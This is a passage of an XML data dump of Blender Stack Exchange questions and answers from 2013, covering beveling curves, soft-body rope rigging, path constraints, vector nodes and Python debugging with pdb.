(&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&amp;gt;Separate by loose parts&lt;/em&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&amp;gt;Origin to geometry&lt;/em&gt;) the normals are still intact, but the &lt;em&gt;object rotation&lt;/em&gt; is aligned to the world.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yhlp2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you try to link them the vertices simply copy their relative positions without applying any object rotation afterward as there is none:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hpx0W.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you simply duplicate some planes around in Object mode, the object rotation is effected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ehhom.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;so now you can link (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object Data&lt;/em&gt;) them, and they will keep their individual orientation even as you edit one of them:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ginqL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The one missing link is a python script to translate the normals into object rotation.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-21T17:49:40.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2484" PostTypeId="1" CreationDate="2013-08-20T21:06:32.633" Score="12" ViewCount="11717" Body="&lt;p&gt;Sorry for the basic question, but I have been working on this all morning and can get a basic curve but I keep falling short of what I really want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in the process of making a urban street model (square sections), the first section went very quickly, just a street plane, 20x20cm curb, a sidewalk raised 20cm off the street.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I moved on to the intersection section, street with 4 round corners with the curb then the sidewalk and be precise enough to have it tile up against the plain street section, I just ran into my modeling limitations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st I tried a Bezier Curve, a 20x20x20cm box with array and curve modifiers. I could only get it to work if I did it in the center of a new scene with a fixed count (fit curve did not work). If I applied the modifiers there was all this extra geometry and ending did not seem precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd I scrapped the curb and just extruded a vertex and used the spin tool for the curve, this worked but now I need to work the curb into the texture of the sidewalk. This worked and not sure if i'm just making things more complex then then need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted a 90 degree curve that fits in a 2mx2m square, one curve that is the 20cmx20cm curb and another right behind it that is the sidewalk.&lt;/p&gt;&#xA;" OwnerUserId="1144" LastEditorUserId="12" LastEditDate="2018-06-06T16:12:09.130" LastActivityDate="2018-06-06T16:12:09.130" Title="How to create a curved surface from a sharp edge?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2485" PostTypeId="2" ParentId="2484" CreationDate="2013-08-20T21:32:18.757" Score="9" Body="&lt;p&gt;It is a bit difficult to visualize &lt;em&gt;exactly&lt;/em&gt; what you actually want based on your wording of the problem but If I understand the problem correctly, what you want is a curved surface. You can achieve this by just bevelling a sharp edge,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a sharp corner that connects at a 90&amp;deg; angle&amp;hellip;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/62WBPm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;hellip;and then bevel the edge using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; and increase the segments to round it into a curved surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3pH8N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-08-20T21:32:18.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2486" PostTypeId="2" ParentId="2484" CreationDate="2013-08-20T21:37:24.677" Score="7" Body="&lt;p&gt;From what I can understand of your question, this is one way to do it. (as already mentioned by iKlsR)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you don't need the curb and the sidewalk to be separate objects, you can get this by &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Meshes/Editing/Subdividing/Bevel&quot; rel=&quot;nofollow noreferrer&quot;&gt;Beveling&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; and use the mouse wheel to adjust the number of segments.):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gp4dj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wd4Zx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they do need to be separate objects, you can do this by&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle and delete three quarters of it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6gpDw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set your &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pivot point&lt;/a&gt; to 3D cursor (&lt;kbd&gt;.&lt;/kbd&gt;) &lt;img src=&quot;https://i.stack.imgur.com/I7nJ7.png&quot; alt=&quot;enter image description here&quot;&gt;, &lt;kbd&gt;E&lt;/kbd&gt; extrude, and &lt;kbd&gt;S&lt;/kbd&gt;scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSjTU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(instead of using the 3D cursor, you can also just use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale along the normals)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To create the sidewalk, duplicate the object (in object mode) and scale it down, then go into edit mode and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; &lt;em&gt;&gt; Merge at Cursor&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7p8wD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-21T01:02:54.997" LastActivityDate="2013-08-21T01:02:54.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2487" PostTypeId="1" AcceptedAnswerId="2488" CreationDate="2013-08-20T22:14:58.583" Score="12" ViewCount="7099" Body="&lt;p&gt;I am trying to rig a rope so that it spans between two objects. Technically it is a fuel line, regardless I am trying to get it to work with the soft-body physics, primarily because A, it will be affected by gravity, and B, the engine rotates in relation to the body of the vehicle.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M8RpF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I have two bones that I want this fuel line (red line) to span between.&#xA;I have been trying to use a bezier curve with soft-body enabled, but it only connects to one bone and flops around on the floor like a fish at the other end.(Why does it flop around if no forces are acting on it?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any assistance.&lt;/p&gt;&#xA;" OwnerUserId="1142" LastActivityDate="2019-08-18T20:07:10.023" Title="Rig a rope spanning two objects" Tags="&lt;rigging&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2488" PostTypeId="2" ParentId="2487" CreationDate="2013-08-21T01:23:23.210" Score="9" Body="&lt;p&gt;One way to do this is to use Constraints and a mesh:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of a curve, use a mesh object made up of two vertices:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yi6AO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide it with loopcuts (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;) or &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Subdivide&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook each end vertex to the corresponding object (or bone) with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F6XqH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign a Vertex Group to the end vertices.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the line object a Soft Body object and set the vertex group to the end vertices group:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkMDd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Skin modifier to the line object, and use &lt;em&gt;Vertex scale&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; in edit mode) to scale the size of the hose.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Subsurf or Bevel modifier afterwards to round the hose out.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-21T01:28:46.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2491" PostTypeId="2" ParentId="2469" CreationDate="2013-08-21T05:48:28.067" Score="3" Body="&lt;p&gt;There's the &lt;code&gt;object.game.properties&lt;/code&gt; collection, but it doesn't seem to have a &lt;code&gt;new&lt;/code&gt; method. You can use an operator to create the property, though, and then modify the value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ob in bpy.context.scene.objects:&#xA;    if ob.name.find(&quot;someName&quot;) &amp;gt;= 0:&#xA;        # Set active object first so operator works on the right one&#xA;        bpy.context.scene.objects.active = ob&#xA;        bpy.ops.object.game_property_new(type='STRING', name='foo')&#xA;        prop = ob.game.properties['foo']&#xA;        prop.value = 'bar'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure the items in the list are kept in the order they are created, so you can also access the most recently-created property with &lt;code&gt;ob.game.properties[-1]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastEditorUserId="1146" LastEditDate="2013-08-21T06:46:33.887" LastActivityDate="2013-08-21T06:46:33.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2492" PostTypeId="1" AcceptedAnswerId="2493" CreationDate="2013-08-21T07:05:39.553" Score="6" ViewCount="2385" Body="&lt;p&gt;I created a very simple railroad using an &lt;em&gt;array-modifier&lt;/em&gt; followed by an &lt;em&gt;curve-modifier&lt;/em&gt;, after that I wanted to run a train on the railroad. The Locomotive is consisting of several grouped objects which can be moved as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pJOhq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a add another curve modifier to the groups parent all other grouped items stay in their previous location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could the group be moved along the curve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwKR7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-08-21T17:03:07.397" LastActivityDate="2014-02-24T12:57:42.950" Title="How can I move a group along a path?" Tags="&lt;bezier-curves&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2493" PostTypeId="2" ParentId="2492" CreationDate="2013-08-21T07:24:11.477" Score="5" Body="&lt;p&gt;It seems you have added a curve &lt;strong&gt;modifier&lt;/strong&gt; which will 'bend' the object along the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do, is to go to the &lt;strong&gt;Constraints&lt;/strong&gt;-panel and add a &lt;strong&gt;Follow Path&lt;/strong&gt; constraint to the parent. From there you can tick &lt;strong&gt;Follow Curve&lt;/strong&gt; and press &lt;strong&gt;Animate Path&lt;/strong&gt; to make the train drive along the rail.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3VNXF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1103" LastEditorUserId="599" LastEditDate="2013-08-21T17:11:46.360" LastActivityDate="2013-08-21T17:11:46.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2494" PostTypeId="2" ParentId="2469" CreationDate="2013-08-21T08:40:59.420" Score="1" Body="&lt;p&gt;Add the properties to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.context.html?#bpy.context.object&quot; rel=&quot;nofollow noreferrer&quot;&gt;active object&lt;/a&gt; using:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.object.html?#bpy.ops.object.game_property_new&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops.object.game_property_new&lt;/a&gt;(type='FLOAT', name=&amp;quot;&amp;quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create a new property available to the game engine&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Then copy to the rest of your selection:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.object.html?#bpy.ops.object.game_property_copy&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.ops.object.game_property_copy&lt;/a&gt;(operation='COPY', property='')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Copy/merge/replace a game property from active object to all selected objects&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.object.select_pattern(pattern=&amp;quot;Cube*&amp;quot;, extend=False)&#xA;if bpy.context.selected_objects:&#xA;    bpy.ops.object.game_property_new(type=&amp;quot;STRING&amp;quot;, name=&amp;quot;foo&amp;quot;)&#xA;    bpy.context.object.game.properties[-1].value = &amp;quot;bar&amp;quot;&#xA;    # ...&#xA;    bpy.ops.object.game_property_copy(operation=&amp;quot;COPY&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-21T11:58:36.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2495" PostTypeId="2" ParentId="2460" CreationDate="2013-08-21T09:11:34.847" Score="0" Body="&lt;p&gt;It sounds like you want to be using UV coordinates. If you don't want to modify them directly you can use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/UV_Warp&quot; rel=&quot;nofollow&quot;&gt;UV Warp modifier&lt;/a&gt; before your displacement.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;UV Warp&lt;/strong&gt; uses 2 objects to define a transformation which is applied to the UV coordinates. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-21T09:11:34.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2496" PostTypeId="1" AcceptedAnswerId="2497" CreationDate="2013-08-21T18:16:29.610" Score="10" ViewCount="3694" Body="&lt;p&gt;I want to have one material for a bunch of objects and have them generate a different UV for each. This question has been answered &lt;a href=&quot;https://blender.stackexchange.com/questions/1795/random-maps-in-cycles&quot;&gt;here&lt;/a&gt;, &#xA;but I can't find the &quot;Add&quot; node that accepts vectors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;em&gt;Add &gt; Converter &gt; Math &gt; Add&lt;/em&gt; node only has grey dots, where I need purple ones.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-08-22T08:29:00.480" Title="Where is the Vector math add node?" Tags="&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2497" PostTypeId="2" ParentId="2496" CreationDate="2013-08-21T18:19:21.043" Score="8" Body="&lt;p&gt;You want &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Add &gt; Converter &gt; Vector math&lt;/em&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mr2LW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-08-21T18:19:21.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2498" PostTypeId="2" ParentId="2492" CreationDate="2013-08-21T18:47:44.963" Score="4" Body="&lt;p&gt;Objects in groups don't move together like in 3D Max. You have to &lt;strong&gt;parent the objects&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select all&lt;/strong&gt; the objects that need to move together.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select the parent&lt;/strong&gt; (the one guiding the rest) a second time (holding shift).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ctrl + P -&gt; Set parent to Object&lt;/strong&gt; (Keep transformations)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alt + P = Clear parent&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &quot;Keep transformations&quot; part is so the object stays in place (an issue with world / object space).&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-08-21T18:47:44.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2499" PostTypeId="2" ParentId="2468" CreationDate="2013-08-21T19:05:08.490" Score="7" Body="&lt;p&gt;My thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Every surface must contain a paper texture, even of only slightly visible.&lt;/li&gt;&#xA;&lt;li&gt;Make the paper look a little used (dirt, coffee stains, bit crumbled up, &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?129727-does-blender-has-a-dirt-texture-plugin&quot;&gt;more hints&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Light the place as if it was miniature (soft shadows, big lights)&lt;/li&gt;&#xA;&lt;li&gt;Focus as if it was macro (blurry background)&lt;/li&gt;&#xA;&lt;li&gt;When drawing on the paper, use near-real pencil.&lt;/li&gt;&#xA;&lt;li&gt;Cycles - definitely use cycles for this.&lt;/li&gt;&#xA;&lt;li&gt;Freestyle is not a must, but can help.&lt;/li&gt;&#xA;&lt;li&gt;Extra help is small dust particles on the ground and flying around.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think the strong point of that video is realistic lighting: very varied sources and realistic bouncing, warm temperature. Also it doesn't stay on too long, I bet you can get a better result if you try!&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-08-21T19:05:08.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2500" PostTypeId="2" ParentId="2496" CreationDate="2013-08-22T06:07:54.693" Score="6" Body="&lt;p&gt;You can also simply use a Color Mix node, since vectors (XYZ) are basically the same as textures (RGB) if you stretch your brain a bit. There's nothing stopping you from plugging purple dots into yellow ones almost anywhere. The same goes for the grey dot (values), the only exception is the green one for shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UVs are two dimensional, so they only have X and Y, or R and G (Though other texture coordinates have a Z/B component). Plug the UVs into a shader's color input and you'll see what I mean. This allows us to manipulate UVs just like textures before plugging them into the Vector of the image (or any texture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnLqw.jpg&quot; alt=&quot;UVs are colours&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top images are the standard UVs and an image mapped with them, and the bottom ones are the same UVs mixed with another texture, then used to map the same brick image.&#xA;Read more about it here: &lt;a href=&quot;http://adaptivesamples.com/2013/07/31/cif-4-uvs-are-colours/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://adaptivesamples.com/2013/07/31/cif-4-uvs-are-colours/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the node setup for the bottom images:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xwsy5.png&quot; alt=&quot;UV manipulation noodles&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-08-22T06:07:54.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2501" PostTypeId="2" ParentId="2359" CreationDate="2013-08-22T07:54:40.407" Score="8" Body="&lt;p&gt;It seems I have found a solution now.&lt;br&gt;&#xA;In the &lt;strong&gt;Particles&lt;/strong&gt;-tab there's a &lt;strong&gt;Cache&lt;/strong&gt; option. If the particles are &lt;strong&gt;Baked&lt;/strong&gt; they render properly even though there is a curve-guide affecting them.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ohgbQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1103" LastActivityDate="2013-08-22T07:54:40.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2502" PostTypeId="1" AcceptedAnswerId="2504" CreationDate="2013-08-22T08:53:45.570" Score="33" ViewCount="18344" Body="&lt;p&gt;Can I run a python script step by step with normal blender, a build, external software or an addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a script (town generator) and I want to  to execute the code step by step like a debugger. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: it's possible with the eclipse software check this &lt;a href=&quot;http://daniepstein.com/daniepstein/tutorials/python-blender-and-a-bit-of-debuggery&quot;&gt;link&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1151" LastEditDate="2013-09-27T09:42:48.330" LastActivityDate="2017-10-12T05:33:23.037" Title="Can I run a Python script step by step in Blender?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2503" PostTypeId="2" ParentId="2502" CreationDate="2013-08-22T09:56:04.160" Score="16" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, Blender can't do this with the default feature set.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Edit: As Aldrik says, you can use &lt;code&gt;pdb&lt;/code&gt;, however blender can't step over python code in its own interface.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are however some things you &lt;em&gt;can&lt;/em&gt; do that may be of interest to you.&lt;/p&gt;&#xA;&lt;h1&gt;Load as a python module&lt;/h1&gt;&#xA;&lt;p&gt;If you compile Blender as a Python module, you can use any Python IDE which supports debugging/stepping, The times I really wanted to step over Python code I did this, however it can't be used with a Blender window active.&lt;/p&gt;&#xA;&lt;p&gt;See:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/1365/how-can-i-run-blender-from-command-line-or-a-python-script-without-opening-a-gui&quot;&gt;How can I run blender from command line or a python script without opening a GUI?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Use the command line REPL&lt;/h1&gt;&#xA;&lt;p&gt;REPL, being (Read–eval–print loop).&#xA;Python has a module that you can use to create a python interactive console, it can be used to execute scripts one line at a time.&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://docs.python.org/3/library/code.html&quot; rel=&quot;noreferrer&quot;&gt;http://docs.python.org/3/library/code.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The example below executes 3 lines of python script, then prints a variable which the script defined:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import code&#xA;namespace = {}&#xA;console = code.InteractiveConsole(&#xA;    locals=namespace,&#xA;    filename=&amp;quot;&amp;lt;blender_console&amp;gt;&amp;quot;,&#xA;)&#xA;&#xA;# Code - can be anything... &#xA;# load an entire text file into this for eg.&#xA;my_code = [&#xA;    &amp;quot;a = 1&amp;quot;,&#xA;    &amp;quot;b = 2&amp;quot;,&#xA;    &amp;quot;c = a + b&amp;quot;,&#xA;]&#xA;&#xA;# execute the script line by line.&#xA;for line in my_code:&#xA;    console.push(line)&#xA;&#xA;# get something back from the executed code&#xA;print(namespace[&amp;quot;c&amp;quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-10-12T05:33:23.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2504" PostTypeId="2" ParentId="2502" CreationDate="2013-08-22T10:50:59.927" Score="32" Body="&lt;ol&gt;&#xA;&lt;li&gt;Launch blender from a terminal emulator.&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;import pdb; pdb.set_trace()&lt;/code&gt; to your code where you wish to start debugging from.&lt;/li&gt;&#xA;&lt;li&gt;Run your code and you'll be put into &lt;a href=&quot;http://docs.python.org/3.4/library/pdb.html&quot;&gt;the Python debugger&lt;/a&gt;, where you can use &lt;kbd&gt;s&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; to step through the code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://docs.python.org/3.4/library/pdb.html#debugger-commands&quot;&gt;pdb documentation&lt;/a&gt; for more info on usage. Also for the nicer &lt;a href=&quot;http://ipython.org/&quot;&gt;ipython&lt;/a&gt; debugger (features syntax highlighting and tab completion), you can use &lt;a href=&quot;https://pypi.python.org/pypi/ipdb&quot;&gt;ipdb&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-22T21:35:25.267" LastActivityDate="2013-08-22T21:35:25.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2505" PostTypeId="1" AcceptedAnswerId="2506" CreationDate="2013-08-22T14:51:58.057" Score="13" ViewCount="7639" Body="&lt;p&gt;I am currently in the process of writing a project in python for Blender to simulate crowds automatically. However I would need for there to be a custom UI to allow the user to choose their settings such as min to max speed, how much they want locations to randomised by etc. But from tutorials I have watched, and links I have followed all seem to have the buttons and sliders only do what is already predefined in blender and does not allow me to make it execute a function I have wrote. I managed to find a workaround for creating a custom shape by adding it to the operator menu, but is there a way for it to save the value of a slider to a variable rather than doing a predefined Blender function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;&#xA;class TargetMakerPanel(bpy.types.Panel) :&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;    bl_label = &quot;CrowD&quot;&#xA;        def draw(self, context) :&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        TheCol = self.layout.column(align = True)&#xA;        TheCol.operator(&quot;mesh.make_target&quot;, text = &quot;Add Target&quot;)&#xA;        layout.label(text=&quot; Random Speed:&quot;)&#xA;        row = layout.row()&#xA;        row.prop(scene, 